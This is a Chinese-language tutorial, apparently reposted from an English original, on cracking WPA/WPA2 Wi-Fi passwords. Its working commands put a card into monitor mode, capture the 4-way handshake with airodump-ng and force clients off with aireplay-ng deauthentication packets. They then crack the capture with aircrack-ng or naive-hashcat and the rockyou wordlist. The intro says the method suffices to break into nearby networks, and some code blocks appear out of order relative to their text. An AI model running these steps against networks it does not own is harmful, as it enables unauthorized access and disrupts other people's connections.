airmon-ng
在本教程中,我们将使用Airodump-ng和Aircrack-ng/Hashcat来破解WPA/WPA2保护的WI-FI路由器。这个简洁的教程将逐步描述如何破解使用弱密码保护的WI-FI网络。虽然它不会提供详尽的信息,但足以用于测试您的网络安全性或入侵附近的网络。下面列出的攻击都是被动的(仅监听,不会广播任何数据到您的计算机),并且无法检测到您破解但未实际使用的密码。然而,您可以选择使用deauthentication攻击来加快侦查过程,这将在后面进行描述。如果您熟悉这个过程,可以跳过描述直接查看命令列表。有关更多建议和可行方法,请参考附录。neal1991还将本文档及附录翻译成中文,您可以选择您喜欢的版本。声明:本软件/教程仅用于教学目的,不应用于任何非法活动。作者对使用本软件/教程所产生的后果不负责任,请不要冒险。
入门
本教程假设您:
- 拥有一块支持监测模式的无线网卡(支持的设备列表请参考这里)
- 已经将WI-FI网络设置为监测模式(Monitor Mode)
让我们从以下命令开始,列出支持监测模式的无线接口:
如果您没有看到任何接口列出,说明您的无线网卡不支持监测模式。我们将假设您的无线接口名称为wlan0,但请确保使用正确的名称,如果您的名称与此不同。接下来,我们将将接口切换到监测模式:
运行iwconfig命令。现在,您应该能够看到列出一个新的监测模式接口(例如mon0或wlan0mon)。
找到目标
使用您的监测接口开始监听附近的802.11 Beacon帧广播:
CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 14:91:82:F7:52:EB -66 205 26 0 1 54e OPN belkin.2e8.guests 14:91:82:F7:52:E8 -64 212 56 0 1 54e WPA2 CCMP PSK belkin.2e8 14:22:DB:1A:DB:64 -81 44 7 0 1 54 WPA2 CCMP 14:22:DB:1A:DB:66 -83 48 0 0 1 54e. WPA2 CCMP PSK steveserro 9C:5C:8E:C9:AB:C0 -81 19 0 0 3 54e WPA2 CCMP PSK hackme 00:23:69:AD:AF:94 -82 350 4 0 1 54e WPA2 CCMP PSK Kaitlin's Awesome 06:26:BB:75:ED:69 -84 232 0 0 1 54e. WPA2 CCMP PSK HH2 78:71:9C:99:67:D0 -82 339 0 0 1 54e. WPA2 CCMP PSK ARRIS-67D2 9C:34:26:9F:2E:E8 -85 40 0 0 1 54e. WPA2 CCMP PSK Comcast_2EEA-EXT BC:EE:7B:8F:48:28 -85 119 10 0 1 54e WPA2 CCMP PSK root EC:1A:59:36:AD:CA -86 210 28 0 1 54e WPA2 CCMP PSK belkin.dca
您应该能够看到类似下面的输出:
出于演示目的,我们将破解我自己的网络“hackme”。请记住Airodump-ng显示的BSSID、MAC地址和信道号(CH),我们在下一步中将需要它们。
捕获4-way Handshake
WPA/WPA2使用4-way Handshake来认证设备连接网络。您不需要理解其含义,但必须捕获握手才能破解网络密码。这些握手发生在设备连接网络时,例如邻居回家时。我们将使用之前命令中发现的信道和BSSID值,使用airmon-ng来监视目标网络:
CH 6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ] BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 9C:5C:8E:C9:AB:C0 -47 0 140 0 0 6 54e WPA2 CCMP PSK ASUS
现在,请耐心等待… 当我们捕获到一个握手时,您应该立即在屏幕右上角看到类似于[WPA handshake: bc:d3:c9:ef:d2:67]的内容。
如果您不想等待,或者愿意进行主动攻击,您可以强制设备连接到目标网络以重新进行连接,并在目标网络中发送恶意的deauthentication数据包。通常,这样就可以捕获到4-way Handshake。有关此操作的详细信息,请参考下面的内容。
一旦捕获到握手,请按Ctrl+C终止Airodump-ng。在您指定的Airodump-ng输出目录下,应该会看到一个.cap文件,用于保存捕获的信息(例如-01.cap)。我们将使用此捕获文件来破解网络密码。个人建议将此文件重命名为当前尝试破解的网络名称:
cap2hccapx.bin hackme.cap hackme.hccapx
破解网络密码
最后一步是使用捕获的握手数据来破解密码。如果您可以访问GPU,我强烈建议使用Hashcat来破解密码。我已经创建了一个名为naive-hashcat的简单工具,可以使使用Hashcat变得非常方便。如果您无法访问GPU,还有许多在线GPU破解服务可供使用,例如GPUHASH.me或OnlineHashCrack。您也可以使用Aircrack-ng进行CPU破解。
请注意,下面的攻击方法都假设用户使用的是弱密码。现在,许多WPA/WPA2路由器都默认使用12位强随机密码,大多数用户不会更改。如果您尝试破解这些密码,我建议您使用Probable-Wordlists WPA-length字典文件。
使用naive-hashcat破解(推荐)
在使用naive-hashcat破解密码之前,我们需要将我们的.cap文件转换为相应的hashcat文件格式.hccapx。您可以通过将.cap文件上传到cap2hccapx工具或直接使用在线转换工具来完成此操作。
接下来,下载并运行naive-hashcat:
Naive-hashcat使用多种字典、规则、组合和智能暴力攻击(聪明的暴力)来破解中等长度的密码,可能需要数天甚至数月的时间。破解的密码将保存在hackme.pot文件中,因此请定期检查此文件。一旦破解密码,您将在POI_FILE中看到类似下面的内容:
# 下载 134MB rockyou 字典文件curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
最后两个字段由冒号分隔,分别是网络名称和密码。
如果您希望直接使用Hashcat而不是naive-hashcat,请参考Hashcat的官方文档。
使用Aircrack-ng破解
Aircrack-ng可以在CPU上运行,用于进行基本的字典攻击。在运行攻击之前,您需要一个字典文件。我推荐使用非常著名的rockyou字典文件:
# -a2 指定 WPA2,-b 是 BSSID,-w 是字典文件aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt hackme.cap
请注意,如果网络密码不在该字典文件中,您将无法破解密码。如果密码被破解,您将在终端看到一个KEY FOUND!消息,后面跟着网络密码。
Deauth攻击
Deauth攻击会将伪造的身份验证数据包从您的计算机发送到连接到您尝试破解的网络的客户端。这些数据包包括伪造的“发件人”地址,使其看起来像是从接入点本身发送出去的。收到这些数据包后,大多数客户端会断开与网络的连接,并立即重新连接,如果您正在使用Airodump-ng进行监听,就能捕获到4-way Handshake。
使用Airodump-ng监视特定接入点(使用-c channel –bssid MAC),直到看到客户端(STATION)连接。连接的客户端看起来像这样,64:BC:0C:48:97:F7是客户端的MAC地址。
# -0 2 指定了我们将发送 2 个解除认证的数据包。如果需要# 可以增加这个数字,但随之而来客户端网络可能中断,有被人注意到的风险。# -a 是接入点的 MAC# -c 是客户端的 MACaireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
现在,不要关闭正在运行的Airodump-ng,打开一个新的终端。我们将使用aireplay-ng命令向受害者客户端发送伪造的解除认证数据包,强制其重新连接到网络,以便在此过程中捕获握手。
# 尽管不是所有的客户端都会响应广播解除认证aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 mon0
您还可以选择向所有连接的客户端广播解除认证数据包:
发送解除认证数据包后,返回到Airodump-ng进程,如果运气好,您现在应该在右上角看到[WPA握手:9C:5C:8E:C9:AB:C0]。
现在,您已经捕获到握手,准备好进行破解。
# 将你的设备设置成监测模式airmon-ng start wlan0# 监听附近所有的 beacon 帧来获取目标 BSSID 以及信道airodump-ng mon0# 开始监听握手airodump-ng -c 6 --bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0# 选择性的对于连接的设备进行解除验证从而强制握手aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0########## 利用 aircrack-ng 破解密码... ########### 如果需要的话下载 134MB 的 rockyou.txt 字典文件curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt# 利用 w/ aircrack-ng 破解aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/-01.cap########## 或者利用 naive-hashcat 破解密码 ########### 将 cap 转换成 hccapxcap2hccapx.bin capture/-01.cap capture/-01.hccapx# 利用 naive-hashcat 破解HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
命令列表
以下是破解WPA/WPA2网络所需的所有命令,只提供最少的解释。
附录
非常欢迎对本教程提供反馈,我已经添加了社区成员的建议和附加资料。附录包括:
- 现在也提供中文版本的附录。
致谢
本教程中提供的大部分信息都是从Lewis Encarnacion的绝妙教程中收集而来。感谢Aircrack-ng和Hashcat的优秀作者和维护者。特别感谢neal1991将本教程翻译成中文。还要感谢hiteshnayak305、enilfodne、DrinkMoreCodeMore、hivie7510、cprogrammer1994、0XE4、hartzell、zeeshanu、flennic、bhusang、tversteeg、gpetrousov、crowchirp和Shark0der等人,在Reddit和GitHub上提供建议或帮助完善本文。如果您对WPA2的替代方案有兴趣,请参考Hacker News上的一些重要讨论。
原文链接:#wi-fi-破解
译者:neal1991
[培训]《安卓高级研修班(网课)》月薪三万计划